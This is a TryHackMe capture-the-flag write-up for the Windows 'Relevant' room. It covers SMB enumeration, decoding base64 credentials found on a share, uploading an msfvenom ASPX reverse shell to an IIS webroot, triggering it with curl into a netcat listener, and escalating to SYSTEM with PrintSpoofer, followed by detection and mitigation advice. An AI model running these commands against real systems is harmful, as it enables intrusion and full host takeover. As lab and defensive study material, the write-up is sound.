

TryHackMe: Relevant

Windows Server 2016 | SMB Write → ASPX Shell → SelpersonatePrivilege → SYSTEM

Overview

Black-box Windows pentest. No Metasploit. Two flags. The attack chain: enumerate open SMB share with guest/write access, recognize the share maps to an IIS webroot on a non-standard port, upload an ASPX reverse shell, then escalate from IIS AppPool to SYSTEM via PrintSpoofer (SelpersonatePrivilege).

1. Recon — Nmap

Full TCP scan revealed five open ports:

Port	Service	Notes
80	IIS 10.0	Default IIS page
135/139/445	SMB	Guest auth enabled, signing disabled
3389	RDP	Not used
49663	IIS 10.0	Second IIS instance — key target

2. SMB Enumeration

Guest access revealed a non-default share **nt4wrksv** with READ/WRITE permissions.

```
smbclient -L //10.113.186.187 -N
```

Share contained **passwords.txt** with two base64-encoded credentials:

```
echo 'Qm9iIC0gIVBAJCRXMHJEITEyMw==' | base64 -d
# Bob : !P@$$w0rD!123
echo 'Qm1sbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk' | base64 -d
# Bill : Juw4nnaM4n420696969!$$$
```

CrackMapExec confirmed both credentials valid. Bob and Bill had READ/WRITE on nt4wrksv.

3. ASPX Shell via SMB → IIS Webroot

The share **nt4wrksv** was mapped directly to the IIS webroot on port 49663. Anything uploaded via SMB was immediately web-accessible and executable by IIS.

Generate payload

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<tun0> LPORT=4444 -f aspx -o shell.aspx
```

Upload via SMB

```
smbclient //10.113.186.187/nt4wrksv -N -c 'put shell.aspx'
```

Catch shell, trigger execution

```
nc -lvnp 4444
curl http://10.113.186.187:49663/nt4wrksv/shell.aspx
```

Shell returned as **IIS AppPool\DefaultAppPool** — the IIS worker process identity, not Bob or Bill. SMB creds were delivery-only; execution context is always the process that handles the request.

4. Privilege Escalation — PrintSpoofer

SelImpersonatePrivilege was enabled. IIS service accounts commonly hold this privilege to impersonate authenticated web clients. PrintSpoofer abuses it to spawn a SYSTEM process via named pipe impersonation.

```
whoami /priv
# SeImpersonatePrivilege    Enabled
```

Unload PrintSpoofer via same SMB share

```
smbclient //10.113.186.187/nt4wrksv -N -c 'put PrintSpoofer64.exe'
```

Execute from shell

```
cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer64.exe -i -c cmd
# whoami -> nt authority\system
```

5. Flags

```
type C:\Users\Bob\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
```

Detection (Blue Team)

Anon/guest SMB write: Alert on unauthenticated SMB writes to non-admin shares. Monitor Event ID 5140 (share access) with null session.

ASPX dropped to webroot: File integrity monitoring on IIS wwwroot. Alert on new .aspx/.ashx files. Sysmon Event ID 11.

IIS spawning cmd/powershell: Sysmon Event ID 1 — parent process w3wp.exe spawning cmd.exe or powershell.exe is almost always malicious.

PrintSpoofer / potato attacks: Sysmon Event ID 17/18 — named pipe creation with SpoolSs or unusual pipe names. Also watch for CreateProcessAsUser from low-priv IIS process.

SelImpersonatePrivilege abuse: Baseline which accounts hold SelImpersonatePrivilege. Service accounts should be least-privilege.

Mitigation

- Disable guest/anonymous SMB access. Require authentication for all shares.
- Never map a writable SMB share to an IIS-served directory.
- Restrict IIS AppPool accounts — they should not need SelImpersonatePrivilege in most deployments (use a dedicated low-priv service account).
- Enforce SMB signing to prevent relay attacks (signing was disabled here).
- Store credentials in a secrets manager, not plaintext/base64 files on accessible shares.
- Disable SMBv1 (enabled here). It has known critical vulnerabilities (EternalBlue).
- Segment IIS on non-standard ports behind firewall rules — port 49663 had no business being externally reachable.